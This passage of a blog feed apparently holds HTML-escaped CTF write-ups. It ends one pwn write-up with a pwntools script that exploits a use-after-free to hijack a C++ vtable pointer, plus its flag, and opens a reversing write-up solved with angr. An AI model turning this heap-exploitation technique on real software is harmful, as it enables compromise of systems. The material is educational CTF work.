&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve_chal&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; index &lt;span class=&quot;token operator&quot;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;bad bad&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;2&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;index&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;submit_writeup&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; length&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; length &lt;span class=&quot;token keyword&quot;&gt;is&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        length &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;elif&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;=&lt;/span&gt; length&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;your math bad bad&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;&#92;n&#39;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; content&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;raise&lt;/span&gt; RuntimeError&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;bad bad newline&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;b&#39;3&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;length&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;encode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendlineafter&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;&amp;gt; &quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; content&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# downloaded[0] = new forensics;   (vptr points to forensic&#39;s vtable.)&lt;/span&gt;
download_chal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# delete downloaded[0];    (chunk is moved to tcache/fast bin. downloaded[0] itself is unchanged!)&lt;/span&gt;
solve_chal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Chunk is allocated-- reusing the chunk previously deallocated.&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# Overwrite vptr of downloaded[0] with &amp;amp;(&amp;amp;win).&lt;/span&gt;
submit_writeup&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p64&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;elf&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sym&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;win_addr&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# downloaded[0]-&amp;gt;solve() triggers double dereference (due to virtual function resolution) and calls win()!&lt;/span&gt;
solve_chal&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;interactive&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;flag&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-ctf-sim/#flag&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Flag&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;gigem{h34pl355_1n_53477l3}&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content>
        
          <category>ctf</category>
        
          <category>pwn</category>
        
          <category>python</category>
        
          <category>cpp</category>
        
          <category>programming</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>TAMUctf 2022 – Labyrinth</title>
        <description>Using CFGs to solve a control-flow maze.</description>
        <link href="https://trebledj.me/posts/tamuctf-2022-labyrinth/"/>
        <updated>2022-04-22T00:00:00Z</updated>
        <id>https://trebledj.me/posts/tamuctf-2022-labyrinth/</id>
        <content xml:lang="en" type="html">&lt;h3 id=&quot;challenge-description&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-labyrinth/#challenge-description&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Challenge Description&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;To get the flag you&#39;ll need to get to the end of a maz- five randomly generated mazes within five minutes.&lt;/p&gt;
&lt;p&gt;This is an automatic reversing challenge. You will be provided an ELF as a hex string. You should analyze it, construct an input to make it terminate with &lt;code&gt;exit(0)&lt;/code&gt;, and then respond with your input in the same format. You will need to solve five binaries within a five minute timeout.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;write-up&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-labyrinth/#write-up&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Write-Up&lt;/h3&gt;
&lt;h4 id=&quot;preliminary-observations-and-analysis&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-labyrinth/#preliminary-observations-and-analysis&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Preliminary Observations and Analysis&lt;/h4&gt;
&lt;p&gt;Unlike other reverse challenges, this one requires us to connect to a server and auto-hack not one, but &lt;em&gt;five&lt;/em&gt; binaries. We&#39;re provided with this template:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-label=&quot;solver-template.py&quot; class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; pwn &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;

p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; remote&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;tamuctf.com&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;443&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; ssl&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token boolean&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sni&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;labyrinth&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; binary &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;with&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;elf&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;wb&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;write&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;fromhex&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;recvline&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;rstrip&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;decode&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;# send whatever data you want&lt;/span&gt;
  p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;sendline&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;b&quot;howdy&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;hex&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
p&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;interactive&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span&gt;solver-template.py&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Modifying the template slightly, we run and download a couple binaries for analysis.&lt;/p&gt;
&lt;p&gt;As a first step, we&#39;ll run &lt;code&gt;checksec&lt;/code&gt; to see what securities are in place.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;command-line language-sh&quot; data-prompt=&quot;$&quot; data-output=&quot;2-7&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-sh&quot;&gt;&lt;span class=&quot;command-line-prompt&quot;&gt;&lt;span data-prompt=&quot;$&quot;&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token command&quot;&gt;checksec elf&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;[*] &#39;/Users/&amp;lt;redacted&amp;gt;/labyrinth/elf&#39;&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;    Arch:     amd64-64-little&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;    RELRO:    Partial RELRO&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;    Stack:    No canary found&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;    NX:       NX enabled&lt;/span&gt;
&lt;span class=&quot;token output&quot;&gt;    PIE:      PIE enabled&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Shell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;It appears that PIE is enabled. We&#39;ll make a mental note of this, since this may mess with function addresses.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;What is PIE?&lt;/strong&gt;
Sadly, not the scrumptious dessert. Position-independent executable is a security mechanism whereby on starting an application, the OS will offset the assembly sections (&lt;code&gt;.data&lt;/code&gt;, &lt;code&gt;.text&lt;/code&gt;, etc.).&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Next, we decompile our elves using Ghidra and make some observations.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Labyrinth decompiled 1.&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-1-2460w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-1-2460w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 2460 / 1146&quot; alt=&quot;Labyrinth decompiled 1.&quot; title=&quot;Labyrinth decompiled 1.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-1-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-1-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-1-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-1-2460w.webp 2460w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 2460px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Only one function contains &lt;code&gt;exit(0)&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Labyrinth decompiled 2.&quot; href=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-2-2452w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-100 &quot; src=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-2-2452w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 2452 / 1152&quot; alt=&quot;Labyrinth decompiled 2.&quot; title=&quot;Labyrinth decompiled 2.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-2-256w.webp 256w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-2-512w.webp 512w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-2-1024w.webp 1024w, https://trebledj.me/img/posts/ctf/tamuctf22/assets/labyrinth-2-2452w.webp 2452w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, (max-width: 1024px) 1024px, 2452px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;Other functions seem to perform some sort of check and lead to more functions.&lt;/sup&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Each binary contains a thousand (1000) functions (excluding &lt;code&gt;main&lt;/code&gt;). The symbols are &lt;code&gt;function_0&lt;/code&gt;, &lt;code&gt;function_1&lt;/code&gt;, &lt;code&gt;function_2&lt;/code&gt;, and so on.&lt;/li&gt;
&lt;li&gt;Each of these functions will:
&lt;ul&gt;
&lt;li&gt;Call &lt;code&gt;scanf(&amp;quot;%u&#92;n&amp;quot;, ...)&lt;/code&gt; (read 4 bytes into a stack variable), and&lt;/li&gt;
&lt;li&gt;Branch (if, else-if, else) into two or more paths.&lt;/li&gt;
&lt;li&gt;The branch conditions come in some form of arithmetic check. For example, &lt;code&gt;input == 0x1c1&lt;/code&gt;, &lt;code&gt;input ^ 0xc213504e == 0x142&lt;/code&gt;, &lt;code&gt;input &amp;lt; 0x143&lt;/code&gt;, &lt;code&gt;input - 0x5173cdc3 == 0x28b&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Each branch will either
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;exit(1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;or call another function from the 1000 functions.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;The number of branches, numbers used in the conditions, and order of conditions are random.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;All 1000 functions are laid next to each other in memory.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;main&lt;/code&gt; is always at &lt;code&gt;0x101155&lt;/code&gt; and starts by calling one of the 1000 functions. The function call is not fixed (i.e. we can&#39;t be certain about the address).&lt;/li&gt;
&lt;li&gt;Only one function calls &lt;code&gt;exit(0)&lt;/code&gt; and this function is always at address &lt;code&gt;0x1011c4&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To &amp;quot;solve&amp;quot; an elf, we need to give an appropriate input at each step of the function such that the correct branch and path are taken. In other words, we need to trace the right path out of the maze. We need to solve 5 elves to get the flag. We only have five minutes for five elves. Solving this without any automation seems next to impossible. Thankfully, we have angr.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;What is angr?&lt;/strong&gt;&lt;br /&gt;
angr is a python library which simulates machine code while keeping track of program state. Its exploration features are useful to find the input corresponding to a given output.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;h4 id=&quot;coding&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/tamuctf-2022-labyrinth/#coding&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Coding&lt;/h4&gt;
&lt;p&gt;As a preliminary step, we&#39;ll import angr, load the project, and set some constants.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-py&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; angr &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; pwn &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;solve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;elf&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    p &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; Project&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    elf &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; ELF&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;file&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Find target address.&lt;/span&gt;
    start_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x4011b3&lt;/span&gt;
    tar_addr &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0x4011c8&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;Ghidra will load PIE assembly at offset &lt;code&gt;0x100000&lt;/code&gt;, but angr loads it at &lt;code&gt;0x400000&lt;/code&gt; by default. So all addresses in the previous section were offset by an additional &lt;code&gt;0x300000&lt;/code&gt; to account for this difference. There&#39;s a way to make angr load at a custom offset, but I forgot what the option was called. (But the option exists!)&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
